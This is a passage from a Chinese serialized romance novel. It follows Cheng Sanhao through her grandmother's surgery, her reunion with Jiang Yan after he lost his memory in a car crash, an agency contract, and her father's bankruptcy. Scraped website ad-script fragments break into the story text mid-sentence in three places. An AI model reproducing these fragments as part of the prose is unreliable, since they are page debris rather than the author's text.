护士见她签了字,通知她手术费要十万,要赶紧去交费窗口把钱给交了。 程三好就打电话给了黎萍,跟她说:“外婆病倒了,要做手术,需要十万块钱。” 她说完,对方陷入了长久的沉默,长到程三好以为电话挂断了。 低头看了一眼,显示还在通话,复而将手机举到耳边,无助,恐慌,各种情绪堆积在她的心头,像是被一长串的沉默给击得破碎,她颤抖着声音,喊了一声:“妈。” 恳求道:“……我只有这一个外婆了,你帮帮我,就当是我向你借钱,等以后我长大了,再还你可以吗?” 说完她屏住呼吸,等待她的回答。 她以为关系再差,黎芳园也是她的母亲,黎萍绝对不会狠心到这个地步,毕竟程家现在并不缺钱。 然而对方的下一句话将她怀揣的希望毁灭得半点不剩。 “你也知道的,不是妈偏袒谁,而是最近你爸爸生意上出了点问题,需要打点的人情多,而且小泉也要上高中了,包括你也要去上学费昂贵的私人贵族学校。” “……所以我只能给你账号转五万块钱。” 医院的仪器声滴滴地在起伏响着,程三好不可置信,难以接受般踉跄着后退几步,背撞在冰凉的墙壁上。 她张了张嘴:“……妈,你可是外婆唯一的女儿了,你不帮她,谁能帮她呢。” 电话那头的人一听她说这话,加重语气:“你最好不要得寸进尺,我们接你到城里来好吃好喝供着,没让她负担你,就已经是最大的帮助了。” “我实话跟你说,其实今天这钱我一分都不想打给你,我就希望她黎芳园无药可医,无钱可治,就这么死掉的好,我恨她恨得要死。” “这五万块不是为了你,也不是为了谁,就我刚才算了一下,那是黎芳园她把我养大的所有费用。” 程三好摊坐在地上,什么话也说不上来。 她犹如一个快要溺水的人,濒死之际,垂下的目光突然扫到手心处的一点黑色的墨迹。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>那是在离开校园那天,江砚在她手心写下的电话号码。 她当天回去,就将其输入进了自己的手机电话簿,中途又洗澡又洗手,痕迹早就淡了。 但也不知道江砚那笔芯是什么材质,真没想到这么多天了,竟然隐隐约约地还能看见一点浅浅的印记。 她静静地盯了几秒,倏地抬手在自己的嘴边感受着。 然后像下定了某种决心,找到电话簿中的他的名字打了过去。 过了几秒,那头一直没接听,程三好扫了一眼手机上显示的时间:下午两点过。 心想他可能正在上课,肯定不会带手机在身边,就挂了电话。 漫长的等待,手术室的红灯一直亮着,时间来到了下午五点过。 她全程动作没变,再次拨通了那个电话,依然没拨打通。 耳边似乎还萦绕着男生对她笃定说的话。 【这是我的电话,你回去后一定要打给我。】 【我会来找你,一定要打给我……】 程三好手指扣着手机壳,眉头皱着,神色看上去不解,还有点难以察觉的酸涩。 胸腔像是被谁死死地抓住,疼得缩成一团,她竭力忽视那种感觉,不去发散思维。 医院太冷,地上很凉。 半晌,她埋头在膝间,终是忍不住小小地,轻轻地叫了一句。 “……江砚。” 她有点想他…… — 医药费最后凑齐了,是王大嫂帮忙向村子里的人借的。 黎芳园的手术还算成功,暂时脱离了危险,就是以后可能时时都要监督,去医院定期复查,看看有没有增生的情况。 已经是夜里十点过,黎芳园呼吸均匀地躺在病床上,程三好则坐在一边,握住她的手。 她这会儿已经冷静了很多,视线放空的几秒钟内,这几日发生的事情犹如走马观花一般在脑子里迅速跑过。 想到某一处,她眼睫忽闪,放下黎芳园的手,掏出自己的手机。 盯着锁屏界面看了片刻,手指向上滑动解锁,点开通话记录,她再次点进江砚的手机号打了过去。 她开了静音,只有手机在震动。 看着通话页面时间跳动的秒数从二十跳到二十一,程三好手指向下,触碰到红色按键挂断了。 在她的印象中,那年的雪特别大,没日没夜地下,整个世界都变成了白茫茫的一片。 人走在路面上,雪太深,淹没小腿,每走一步沉重而艰难。 很多人喜欢踩在雪地里的感觉,程三好小时候也很喜欢,但唯独今年的冬天,她讨厌上了冰冷的感觉,厌恶一切让她能够感觉到沉甸甸,有重量的东西。 在医院里陪着外婆待了半个月后,她成功出院,回到了萍水镇乡下。 程三好在去程家的路上,看着窗外一闪而过的景色,忽然让司机转弯,拐道去了淮市一中学校门口。 那天是高一学生们期末考试完不久,学校里只有高三的还在上课。 校园里安静,空寂,她想找到一个与江砚认识的人,却发现高一学生们都回家了。 程三好失望,情绪低落,低着头准备转身离开学校时,听身后有人叫自己一声。 “韵清?哎,是你吗?” 她扭头,见是他们班的生物老师李芳。 程三好的心脏骤然跳快,她正过身体,向老师走了几步,到了跟前,才说了声:“对……老师你怎么还在学校?” 李芳笑笑:“我教两个班呢,一个就是你们班,一个就是高三二班,现在他们还没放假,我哪能提前放假啊?” 程三好点头,微笑,只是那笑很浅,说:“原来如此,辛苦老师了。” “都是我的本职工作罢了,谈不上辛苦。” 女人抬头看着女孩子,她戴着一条红色的菱格毛巾,穿着一件蓬松宽大的黑色羽绒服,头发有一些凌乱,精神……不佳。 也就是这一瞬间,她似乎明白了什么,低下头从自己挎着的包包里面,拿出自己的钱包,又从钱包中拿出了一张纸条,然后递给了前面的女生。 “江砚留给你的,看看。” 程三好瞳孔微微放大,原先精神不济的脸上突然就有了一点生动的表情。 她迟缓着伸出手,接过了那张纸条,上面写道:别担心,我很好。 明明只是寥寥几个字,明明只是寻常得不能再寻常的一句话。 “这是他走的那天,特意拜托我的一件事。他说,如果你来学校找他的话,就让我把这张纸条交给你,还让我带一句话。” “他爷爷已经醒来了,是他信任的人将他接回了津市,让你不要担心,他一切安好。” 程三好眼前不知何时模糊了,她用力地点头,嗓音哽咽:“好,他好就好……只要他是安全的,就好……” 李芳无力地叹了一口气,她看着他们在经历青春的伤痛,却爱莫能助,只能上去伸手将女生抱在怀里,安抚地拍了拍她的肩膀。 “尽力了就好……一切都会过去,一切都会好起来的。” 这句话一出,女孩子的哭声在孤寂的校园里响起。 她像是忍耐太久,再也压抑不住一般,撕心裂肺地放声大哭起来。 雪似乎又下大了,那个冬天盛满了女生的眼泪,那个寒冬冰封住了一段情感。 理想的春天从来没有到达过。 再后来,他们都变成了大人,变得有些不像他们了…… 96. 解除误会 回忆涌上心间,其中酸楚滋味只有本人知晓。 多年时光说长,长到中间二人错过了太多,有时候太短,短到弹指一挥间,只需要一个眼神,所有的疏离都化作云烟,恰似昨日。 程三好手指缩动,忽然有些不敢直视眼前男人的眼睛。 目光落在花纹繁复的地毯上,她对于江砚说自己失忆这件事感到极为不可思议,大为震惊,很久很久,脑子就像宕机一样,停止了运行。 她半晌回不过神来,可再迟钝,她也从二人重逢后的一些相处中发现了一些蛛丝马迹,只是自己没有去多想罢了。 江砚见前面的女生似乎在发呆,盯着她看了几秒,忽然道:“……那个铃声我听到了?” 程三好偏过头,显然不想说话。 江砚像是丝毫不在乎,犹自说:“那一天来接我回津市的,是我的一个叔叔还有一个司机,在接近两市的边界处……我们的车被一辆大货车撞了,翻进了海里。” “我被人从车里拉出去时,听到了电话铃声……我知道那通电话是来自你的。” “当时情况危急,被救上岸,我晕倒了……再醒来,我丢了记忆。” 如今再说起这件事情,江砚并没有自己想象中的那么冷静。 无论是冰冷的海水裹挟全身,还是处在濒死边缘的爆炸窒息感,亦或者可能是江波死亡带来的巨大悲痛。 说出口,却发现这些痛苦那么多年并没有湮灭在时间的长河里,它不会消失,只会被冲淡了些。 闭了一下眼,嗓音发涩:“对不起……是我没遵守承诺,忘了约定。” 他说着,伸手想要去触碰女生的脸。 对方侧头躲开,掌心落空。 男人顿了一下,缓缓将手指收拢,一并收起的还有外放的情绪。 良久,他开口,语气还算温和:“当时打给我,是发生什么事了吗?” 程三好依旧扭头,闭嘴不谈。 “说话。” 成年男人嗓音比少年时期要低沉很多:“逃避不是答案。” 女生似乎被他说烦了,淡漠道:“不重要了。” 江砚并没有想要她现在就立刻告诉他,敞开心扉,他说:“好,我知道了。” 然后退开点身体,站直,双手插在大衣口袋里。 桌子是正常的餐桌高度,原木色。 女生双脚离地,两手微撑在桌沿边,稍稍侧着点身,从头顶到肩膀牵拉出非常好看的弧线。 她的口罩刚才一番混乱之下,不知道去哪儿了,但黑框眼镜还架在挺立的直鼻上,更加衬得她肤色白皙,或者说因为这鲜明的对比,为她添了一抹媚。 一双嘴唇因为激烈的亲吻,现在变得微微红肿。 长发披肩,有几缕搭在纤瘦的锁骨上。 她里面穿着吊带针织裙,细直的白颈就这样暴露在空气中。 白色的羽绒服是常规款,她坐着,外套反而杵在桌面上,留下的空间很大。所以从肩膀到臀部的一整个身体曲线,被修身的,有垂感的连衣裙完美地勾勒出来。 江砚没有哪一刻像现在这般,如此清晰地意识到,曾经过去时光里,那个感动要哭,生病要哭,难受要哭,甚至因为心疼他而哭的一个女孩子,是真的长大了。 长大成了一个女人,一个身材姣好,面容清纯妍丽,让诸多男人都会产生幻想和抱有欲望的非常漂亮好看的女人。 她独立,清醒,有胆识,有想法,重情重义,经历太多,她兴许变得不再像少女时期那般热忱,但也因为如此,身上多了几分从容不迫,淡然的气质。 他曾经要守护着长大的女孩子,如坚韧的蒲公英,顽强生长,开出了一朵绚丽的花。 江砚目不转视地看着,如果是以往,面前的女生定会害羞,让他不要再看。 但现在,她姿势都没变一下,就只是扭过头,除了那红得要滴血的耳朵,倒是挺沉得住气。 男人看着看着,突然轻笑了一下,然后再度向前倾身,靠近人,双手打开撑在女生身体两侧的桌面上。 他说:“你还记得高一的时候,我们约定的一件事吗? “我说,我可以不与你早恋,但我身份上,是你未来的男朋友。” 他垂下眼皮,视线落在女生的侧脸。 “可还作数?” “……不记得了。”女生语气依旧漠然。 “你好好说话。” 程三好闻言,终于扭过头,看着他的眼睛,一字一句说道:“不作数。” 她偏过头,二人之间近得不能再近,彼此的眼里情绪藏无可藏。 包厢内的通风设施做得很好,空气却稀薄得让人有些喘不上气来。 二人对视着,谁也没有说话,僵硬冰冷的氛围就像一根绷紧了的弦,谁也不知道,它会不会在下一秒断裂开来,发出令人心惊的铿锵声。 程三好目不转睛,不肯让一步,手指却无声地一抠桌沿,心里生出一点怵。 江砚有一些眉压眼,所以这让他看起来眉目很凶。 少年时是冷淡中带着点痞,很难让人靠近,冷冰冰地竖着冰溜子扎人,给人很强的疏离感。 而不是像此时此刻,成年后的他,让人从灵魂深处生出一种忍不住向他低头的倾轧而来的压迫感。 他甚至变得“温和”了一些,给人说话的余地,偶尔还会带个笑,无论谁看,显然都要比以往好相处一些。 但这层温和下的前提,是你没有触碰他的底线,没触及他的利益。但凡踏入那条边界,不等你反应过来,他就将人弄得渣都不剩。 这就是一种在那样的环境中一路成长起来,在金钱名利场中厮杀站稳脚跟的,自然而然形成的底气。 他不再用冰冷的外壳伪装保护自己,反倒学会用圆滑的人情世故,来促成目的。 他不再纯粹,单一,他是见过人性丑陋,并且也拥有某些阴暗的人性复杂面的成熟男人。 他轮廓深邃,五官更为立体,这么离他咫尺之间双眼紧紧锁住人,气势上一瞬间涌过来的凌然感,当真会让人忍不住产生惧意。 程三好吞咽了一下口水,依旧对峙着,就在她以为下一秒男人就要转身夺门而出时,对方却突然低下身,额头搭在她的肩上。 语气里是满满的妥协:“哈啊……不是说了吗?有什么事都要和我说,有什么话要好好讲,好好商量,一直都是这样的,不是吗?” 程三好听到他这么说,忽然微微弓腰,也放松了身体。 下垂的眼睫动了一下:“……那你当时为什么躲开?综艺收官那天。” 江砚撑在桌面的手指一动,感到意外。 他几乎都要认定,女生会一直跟他僵持到底,没想到她会主动问。 静了片刻,他支起身体,双手握着女生不知何时搭在腿上的手。 抬眼见她低着头,目光下垂。 “抬头看我。” 程三好没动。 “听话。” 双手被男人温热的掌心拢着,程三好迟疑片刻,缓缓抬起了头。 两人一站一坐,因为台面的关系,他们几乎平视着。 江砚大拇指习惯摩挲了一下女生的手背,看着人,说道:“我知道你可能不信,但我还是要说。” “我没了记忆,然而当我们重逢后的第一次见面,就是你来面试综艺那天……我的心脏对你有感应……” “我放任自己靠近,一部分的确是心难自抑,另一部分是想通过你来回忆起被遗忘的那段时光。” “但就像我刚才与你说的那样,随着回忆起来的越来越多,我反而有一些分不清虚实——我到底是因为回忆中的那个女孩子对你动的心,还是单纯喜欢上了你这个人。” “在我不确定你和她百分之百是一个人时,我不能过界,我必须确保你们就是同一个人,半点差池都不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能出。” “……我只要程三好,只要一个程三好,我这辈子也只会喜欢她一个人。” 话音落,房间内陷入了沉寂。 程三好被他这一番话说得微微愣神,眼睛直溜溜地看着江砚。 冬天,包厢里没有开空调,呼吸间冷空气直入。 男人这时却目光躲闪,稍稍偏头,可能是后知后觉地反应过来,这一番话和告白没什么区别,他眉头几不可见地皱了一下。 侧脸轮廓流畅紧致,瞧着脸是冷的,眉目是凶的,但程三好奇妙地看出了一点难为情。 心里烫乎乎的,耳根一阵阵发热,眼睫在空中快速眨动,程三好张嘴:“你……” “……嗯。” 男人一听她说话,就扭过头看着他,下颌明显还在绷紧。 程三好却错开视线,从进包厢的那一刻开始,她就一直有些回避江砚的眼睛。 那里面什么冰霜也没有,只有满满的可以灼伤人的侵占性,以及那呼之欲出,不断溢出的喜欢。 就是哪怕他不说,深情也从他的眼睛中跑出来,直白而热烈。 程三好被那眼神烫到了,所以她回避。 她说,她曾经在同一个人身上栽过两次而难过不平。 并不是说,第一次高中那年,江砚背叛了她或者始乱终弃之类的,她只是带着点怨,怪他那么多年来一次都没有来找过自己。 她想过上万种可能,唯独没有想到,他竟然会失忆。 所有的疑云误会一下子被解开,回忆起这几个月以来的点点滴滴,她突然生出一点无地自容。 她低下头,脸色不自然,声音也有点小。 “也就是说,重逢后,在你的视角……我是一个陌生人,但是——” 她下意识抠着手,依旧没看人:“我那么自然地和你相处……你会感到别扭,或者冒犯吗?” 江砚神色已恢复如常,闻言,淡声道:“没有。” 他停顿了一会儿,继而说道:“可能我的骨头记住了喜欢你的感受……所以尽管那时并不认识你,却没有给我陌生感。” 他捏着人的手指,微掀眼皮。 “怎么了?” 女生沉默片刻,只是又问道:“那你是那种会随便对着见过两三次面的不熟的女生,又是送医院,又是送温暖的人吗?” 男人似乎是笑了一下:“你觉得呢?” 程三好心里其实已经有了答案,但听到江砚这随口的回答,她不满意,抬眼看着人。 “你好好说话。” 江砚嘴角正要上扬,闻言,还真的听她话,正色道:“不是。” “……那你与程韵清——不准笑……” 男人煞有其事地点头:“嗯嗯……” 跟她解释:“我接触程韵清,只是因为想要尽快找回记忆,不只是她,当年二十一班的同学,我基本上私底下都有在接触了解,都只是为了回忆起更多的细节,跟别的,一概没有关系。” 他靠近人,与她对视:“还有什么想问的吗?好好……” 程三好被他这一句亲昵的称呼整得不自在,视线飘忽着,说:“没有了。” 她说完这句,前面的人久久没有说话。 程三好耐不住,看向他,却见他一直保持着原有的姿势,也在看她。 七年时间似乎并没有将他们的情感削弱半分,反倒因为这段跨度,变得有重量,沉甸甸地落回了二人的心尖。 多年来孤寂虚空的地方被填满,如尘封多年的一坛老酒,揭盖打开,浓郁留香,氤氲酒甘,绵意情丝缠绕指尖。 呼吸间都是彼此滚烫的气息,程三好见男人似乎视线往下瞥了一眼,紧跟着,倾身向她,低下头。 她鬼使神差地没有动,捏紧手,闭上了眼睛。 “叮铃铃……” 手机铃声突兀地在安静的包厢内响起来,女生一下往后退开点身体。 97. 橙色时光 羽绒服口袋里的手机不停地震动,江砚还保持着微抬下颌去亲人的姿势,程三好已经恢复清醒,将电话接了起来。 电话那头的人是张导,嗓门很大,背景听着有些热闹。 “三好,你人呢?还没到吗?” 二人距离近,简直就像是共用一个手机似的,所以张导所说的话,也一字不落地落进了江砚的耳朵。 他看了女生一眼,面上没有什么表情,直起身体往后退了一步。 程三好不知为何有种做坏事即将被发现的紧张感,她舔了一下唇,语气倒是很平静:“我已经到餐厅楼下了,马上坐电梯上来。” “行,我说怎么这么久了你也没来,以为你在路上出了什么事,就打电话问问。” “嗯,我知道了,马上就到,你们也不要等。” “没事,没事,你也不要急。” 挂断电话,程三好将它揣进兜里,正要跳下桌子,离她一步之遥的男人就已经向前,双手穿过她的腋下,将她抱了下来。 程三好有点不自在地别开脸,说:“谢谢。” 江砚嗯了一声,松开手,两人往外面走。 到门面时,地上丢着一个黑色的,可怜巴巴的口罩。 程三好还未说什么,江砚就已经先一步上前捡了起来,垂目看了几秒,说:“……都脏了,待会儿买新的。” 她这个角度看过去,男人的手指修长匀称,没有多余的赘肉,骨节分明,这样抓着黑色的口罩,有一种强烈的反差。 程三好多看了几秒,莫名地脸热,脑子里闪过不好的画面。 她面上不显嗯了一声,伸手就要拿过来,准备待会儿扔垃圾桶里。 伸出两指小心翼翼地捏住口罩布料,一抽,却岿然不动。 她疑惑地半挑眉,说:“给我。” “你要戴?” 程三好觉得江砚在逗她,但她没有证据,就只能手上使劲,势必要将那个口罩拽出来。 见她整个脸都在用力,江砚视线淡淡地瞥了一眼两人没有触碰的手。 “你在担心什么?” 不等程三好说话,他就接着道:“是怕我拿回去,放在家里吗?” 程三好一整个大震惊,是她完全没想到的脑回路。 她抬眼,见江砚没什么表情。 程三好气笑了,这人还是和以前一样喜欢逗弄她。 想到张导还在等她,她松了手,随意地挥了挥。 “随便吧。” 说着率先伸手握住门把手打开,“没想到咱们江总还有这样的癖好。” 她说话时,扭头,视线上下打量了一下江砚,才意味深长地笑了一下出去了。 江砚紧随其后,随手将握着的口罩丢进走廊上的垃圾桶。 程三好余光里看清了,她正要问江砚来这里干什么,突然被前方的一道声音打断思路。 “三好?你来了啊……哎,还有江总,我正好要出来找你——” 张导原先在包厢内给程三好打完电话以后,见江砚都出去十分钟了还未回来,就打算离开包厢去找人。 结果刚出了包厢门,转过身,把门带上时,就看见离他们就一墙之隔的旁边包厢走廊上站着他正要找的人。 他话脱口而出,可眼睛看到的信息渐渐反射给了大脑。 正在拍摄的电影中,饰演女二角色的女演员,与该电影的投资人,从同一个包厢里出来。 两人肩膀挨着肩膀,站姿亲密,女生头发有点乱,嘴唇明显红肿。 纵使张导在圈里对这种场面早已屡见不鲜,但是因为是发生在自己那个一看就很禁欲高冷的顶头上司身上,他还是小小地吃惊了一把。 忍不住伸出大拇指猛掐着自己的人中,一副要撅过去的样子。 在两人开口说话之前,就先一步说:“江总,你放心……还有三好,你也放心,我不会对任何一个人说。” 他在空中举着两只手的食指靠近,面色认真:“你们很般配。” 又在嘴边做了一个拉链的手势:“我嘴很严。” “包厢大家基本上都到齐了,就差你们二位。” 江砚面对外人,除了必要的交谈,一向没有耐心,大多时候都透着一股漫不经心的冷淡。 前面的张导就差手指跳了一段舞,他全程漠不关心,只是目光扫到旁边的女生,想到什么,说了句:“我知道张导你的为人,什么该说,什么不该说,你应当清楚。” 张导是个暴脾气的人,但唯独被江砚治得死死的。 他忙不迭点头,说:“我知道,我知道。” — 三人一前一后陆陆续续回到包厢,众人都没有多想。 程三好在空位坐下,右手边就是江砚。 大家可能都不想挨着这个气势上就很凌厉的男人坐,所以自动将座位空了出来。 她从进门开始,就用手背遮住自己的嘴。 坐下,话也不说,瞅准已经端上来的菜,闷头就吃,全是偏辣的口味。 但她其实特别能吃辣,所以没啥感觉。 饭桌上的话题永远少不了八卦,少不了游戏。 用餐到最后,桌子最中间的装饰物被移走,摆上一个啤酒瓶,要玩真心话大冒险。 瓶子转动,停下来后,瓶嘴指着谁,谁就要完成一个大冒险或者真心话。 冬天拍电影其实剧组的大家都很辛苦,但是方便电影取景,所以哪怕寒冷,大家都在尽量地保持正常拍摄,像这样的闲暇时光少之又少,所以场上一时十分热闹。 程三好搁下筷子,抽出纸巾擦嘴。 左手边饰演男二的一个男演员却忽然注意到什么,语气关心:“你嘴怎么那么红?过敏了吗?” 程三好面上不慌不忙地解释:“不是,可能这菜太辣了吧。” “哦,原来是这样……但我刚才见你吃的都挑辣的菜品。” 程三好微笑:“就好这一口。” 她话音刚落,能明显地感觉离她极近的旁边男人发出一声轻笑。 程三好面不改色,桌子下的手却伸了过去,碰到某人的腿,还没下手,就先被对方捉住了,然后……然后就收不回来了。 — 饭局结束,程三好去卫生间洗了个手,漱了口,刚出女厕所,听她手机发来的信息,她点开。 江砚:【我在负一楼停车场等你】 程三好自从接了这个电影,拍戏期间一直是在酒店居住的。 她想回,自己打车回去,又想起江砚那人的性格,索性就什么也没回,坐电梯到了负一楼。 电梯门叮的一声从两侧打开,她踏了出去。 看着眼前琳琅满目的车辆,想到要为自己寻找江砚的车所在位置顿时就心累。 她往前走了几步,蓦然撇到了前面站在车与车之间空出来的一宽敞的人行过道上的人。 江砚背对着她,低头,握着手机,在查看什么。 天花板圆形灯泡发出的光亮照在他头发上,从这个角度看去,很有少年感。 又往前走了几步,没了车辆的遮挡,江砚整个人暴露在她的视野里。 他侧着身,大衣长至膝下,合体剪裁的直筒西装裤,步料丝滑,版型质地上乘,露出来的一截脚踝被黑色的长袜包裹,配上一双一尘不染锃亮的男士商务皮鞋,说不上来的性*感。 程三好觉得,无论是以前,还是现在的江砚,果真和黑色契合度很高。 无论是冷白的手指抓着黑色的口罩,亦或者西装裤下露出来的一节骨感十足的脚踝,黑色都是其中不可忽视的元素。 似乎是察觉到她的靠近,低头看手机的男人从屏幕前扭过头。 “来了?” “嗯。” 江砚将手机收起来,放进大衣口袋里,与人并肩走向自己的车。 “我还以为你不来了。” “为什么?” “你胆子小,那么害羞,”他上前一步打开副驾驶的车门,笑得有点痞,“就不怕我把你拐回家去。” 程三好打了个哈欠,泪眼朦胧中,回复了一句。 “你不敢。” 江砚挑眉,须臾,才意味不明地说了句:“是吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他让开身体,女生进去才将车门关上,走到驾驶座抬腿跨上车。 双手扶上圆形的方向盘,挂档启动车子。 程三好将安全带系上,瞥了一眼旁边专心开车的人。 她说:“江总连开车的姿势都那么帅气,想必也是一位光明磊落,有君子之心的好人……所以我相信你,一定会将我平安送达酒店。” 江砚嘴角勾着,似笑非笑:“我可不吃这套。” 车内空间宽敞,但很私密。 后排的灯没打开,只有他们所在的前排头顶上的灯光在车内亮着。 程三好本来还有一点困,结果车子行驶起来,反倒变得有精神。 她听江砚这么说,就笑:“某人明明就很喜欢,没想到啊,没想到啊……” 她摇头叹气:“当年我那个温柔帅气,善良英俊,可爱迷人,气度不凡的好同桌竟然变成了现在这般蛮横霸道,不讲真话的男人。” “真是世风日下,世态炎凉,世事难料啊。” 女生能和肖乐保那样中二的人玩到一起去,不是没有道理的,他们有些时候,总是会想皮一皮。 前面是红灯,等待的间隙,江砚戴着墨绿戒指的食指,有一下没一下地点着方向盘皮套,似乎心情还不错。 “你同桌叫什么名字?” 程三好还沉浸在角色里,说:“江砚。” 抬头看着前面路灯的男人嘴角似乎上扬了一点,他盯着跳动的秒数,漫不经心地道:“巧了,我也叫江砚,到时候私底下抽个空,你介绍我俩认识认识。” 程三好绷不住了,乐得不行,笑声有明显的倒抽气,一顿一顿地,跟她有些时候点头的动作很像。 江砚听着声音,扭头看向副驾驶座上的女生。 她笑得眼睛都弯成了对小月牙,牙齿又白又整齐,跟多年前在阳光下向他投来的一样,不同的是,这一次的笑是视听版本的。 也与之前那种含蓄的,带着点小得意的笑声不同,这一次她笑得开怀,声音又是另一种。 他有点新奇,怎么有人平时看来挺慵懒平淡的,一笑起来会这么虎憨虎憨的,就问:“你这笑都跟谁学的?” 程三好笑够了,随口说道:“小时候看一部动画片,里面有一只黄色的卡通鸭子,他笑起来就是嘎—嘎—嘎的,很有节奏,当时小,觉得特别可爱,就下意识模仿了,没想到后来想改就改不掉了。” 她扭动身体,朝着驾驶座上的男人。 “怎么?你觉得难听?” 她这样说着,右手却在空中举着一个拳头,意思很明确。 江砚看见了,他似乎是趋于对方的淫威之下不敢造次:“那……还是挺可爱的。” 他面上虽然瞧着挺冷淡,语气里却带着笑意。 红灯变绿灯,车子向前驶进黑夜。 讲真,江砚也许在某些时候会有细腻的一面,但他绝对称不上是温柔的人。 他掌控欲很强,很霸道,哪怕是和程三好相处,除了偶尔程三好闹他,被逗笑起来之外,要么就是带着点漫不经心的痞笑,要么都是一张冷淡的,没有情绪的脸。 所以他给程三好从来不是一种温柔感,而是一种很强烈的安全感。 只要他在,她就会很安心,很放松。 他是她完全可以信赖的对象,这就是为什么程三好会总是在他面前袒露出真实的自己的原因。 明明他是个有些时候严肃到让她心里也会有些发怵的存在,但可能也正是因为这份不完美,才让他更加真实,真实到是能触摸到的。 程三好想到这里,瞄了一眼旁边的男人,心里重重地叹了一口气,她觉得,她今晚可能疯了。 因为她瞧着江砚全身上下每一处,都感觉非常帅气,让她心动不已。 无论是半背头的发型,还是没有表情的冷脸,亦或者是脖子下的半高领黑色毛衣等等,都特别苏,特别性*感。 这是比起心动那天更为热切的跃动,那条小鱼已经不满足待在大海,它想去触摸蓝空。 胸腔内酥麻成一片,程三好产生了想摸摸他的念头。 98. 黎明到来前 第二天开工,江砚却没有来。 程三好心不在焉地完成了工作,离开拍摄地,正要打车回酒店时,突然听见电话铃声响了起来,显示的是陌生号码。 她点一下绿色键,接起来。 “喂,你好。” “嗯,你好……我叫张燕,是华映娱乐公司所属经纪人,你现在有时间吗?我想与你谈谈签约的事。” 程三好微愣,她还未说什么,那头的人就接着说道:“我现在就在离你们片场只有几百米,如果你有兴趣的话,待会儿我发地址给你,我们可以聊一聊。” 在娱乐圈内单打闯出名头的少之又少,那是一个极讲究人脉资源的地方,更何况程三好有想要在演员这条路上做大做长的想法,那签约公司是必须走的一步路。 她按照对方发来的地址,去到那个咖啡店。 拍摄地周边经济落后,咖啡店的装饰有一些年头了,顾客也不是很多。 玻璃门上方的风铃响动,她刚抬腿步入,就看到左手边的第二张桌子上,有人向她招手,并喊道:“这里。” 张燕是一个三十多岁的女人,短发,面容友善,精神气很好,这是程三好对她的第一印象。 不知是不是看出了小姑娘的局促,张燕微笑道:“来,坐下……放心我并不会吃人。” 程三好崩了崩唇,在女人的对面坐下。 张燕将菜单推到她的跟前。 “看看,想喝点什么,你点,我请客。” 程三好也不客气,点了杯热美式,又将单子推给张燕。 她看了一眼,招手:“服务员,两杯热美式。” 说完,她这才重新看向前面的女生。 她比镜头上看着更为漂亮,近距离下,皮肤吹弹可破,整体五官精致,脸蛋轮廓流畅,长相很纯,眉毛有点英气,所以能吃得住镜头,不会太寡淡。 张燕内心有了估量,面上却不显露一分,自己主动开启话题。 “实不相瞒,在江总找到我之前,我并不认识你。” 对上女生的目光,张燕语气没变。 “但是来找你,却是我自己的选择……我也不给你兜圈子了,事情是这样的。” “我手下只带过一个艺人,前不久他实现了电影领域的众多奖项大满贯,成就达成,便有了退圈的想法,我尊重他。” “合约终止后,公司塞给我几个新人,想让我带他们,但我婉拒了。” “直到前几天,江总主动找到我,给了我你的资料,问我有没有兴趣培养你。” “他全程没有为你说一句话,这你放心,只是给我看了你的简介。当时我就对你产生了一点好奇,所以回到家后,把你以前参演过的一些电视剧或者综艺都看了看,如果要我给出一句评价的话——就是你很有灵性。” “这是大多科班演员不具备的一点,他们太知道怎么演了,也知道怎么演好,所以总是把一段戏拆开分割,为达到完美的演出。” “但不是所有表演都是能去套公式的,个人的思考,经历,也是饰演好这个核心人物的重要元素。你只拍过两部电视剧,还是不起眼的小角色,但我觉得处理得很灵活,虽然很生涩,那不是问题,只是缺少磨练。” “如果未来你想在这条路上越走越远,我有信心,可以让你在三年之内,成为超一线的大明星。” 她话说得澎湃,但是语气不激昂,很平和,那是一种对自己能力有着十分清晰认知的自信。 她不需要浮夸做作的表情,来博得对方的认可,或者借此来画大饼,是真的有这个资本。 程三好静静地听完,没打岔。 这样低垂着目光时,眼睫毛很长。 她抿了一口的咖啡,放下,抬眼看向对面的人。 “我对表演的初衷不纯粹……” 张燕怔愣,显然没想到对方如此真诚。 她眼里来了兴趣,不慌不忙地说:“没谁规定,一件事情必须要热爱才行,才能做。只要有这个念头,只要有这个想法,去做就行。” “……如果你考虑好了,我们现在就可以签合同。” 侧身从包里拿出一叠协议书,推过去。 “你看一下,如果有不满意的或者需要修改的地方,你就提出来,合同期限咱们暂定五年。” 程三好嗯了一声,认真翻看起来,有了前车之鉴,她私下恶补了一番法律知识,条款合约一通看下来,她没有发现问题。 她心动了,抬笔在上面签下自己的名字。 张燕就喜欢这么利索果断的人,她伸出手:“合作愉快。” 程三好伸手握住,说:“合作愉快。” 两人接下来互相加了联系方式,一同吃了饭,颇有些相见恨晚的意味。 分别后,程三好回到酒店。 她将手机扔在床上,站到衣柜前,准备抽出换洗衣服去洗澡,听见身后的手机忽然夺魂似的不间断地发来信息。 停了动作,重新走到床边,坐下,拿过手机点开查看起来,是肖乐保的手笔。 【大哥,你看新闻了吗?快看!】 【程伟国公司破产了!!哈哈哈哈,大快人心!】 【所谓风水轮流转,三十年河东,三十年河西,这报应可算是遭到了他成为程伟国头上了啊哈哈哈】 【我从来没有像现在这般畅快过,哈哈太爽了】 【啊哈哈,啊哈哈哈,笑死我了】 他把几句话拆分成十几句短句发过来,可能手指快得飞起,键盘都要被他敲得冒烟了。 这通知铃声是前一声还没完,后一声就叠上去了,所以听着特别滑稽。 程三好面上很淡,她发了一个闭嘴的手势丢过去,那头安静下来。 她这才点进他发过来的链接,跳转网页,看起来那个视频。 “今日财经报道,伟业股份有限公司董事长于今日召开记者发布会,宣布公司破产,资不抵债,公司无法运营,据悉,或将面临被多方债券机构联合起诉的风险。” “伟业公司建立于二十年前,公司创始人程伟国先生曾是农村出身,白手起家,前十年一度风光无限,公司下产品无论在国内还是国外一度十分畅销。” “可惜这样一个于风雨飘摇之中经过二十载的公司,在继前不久被曝出董事长罔顾血亲,抛弃亲生女儿多年的丑闻之后,再度迎来第二波危机,也不知道程先生是否能抵御这个大关,再度东山再起,结果我们不得而知……” 程三好看完那个视频,一直没有动,直到夜深。 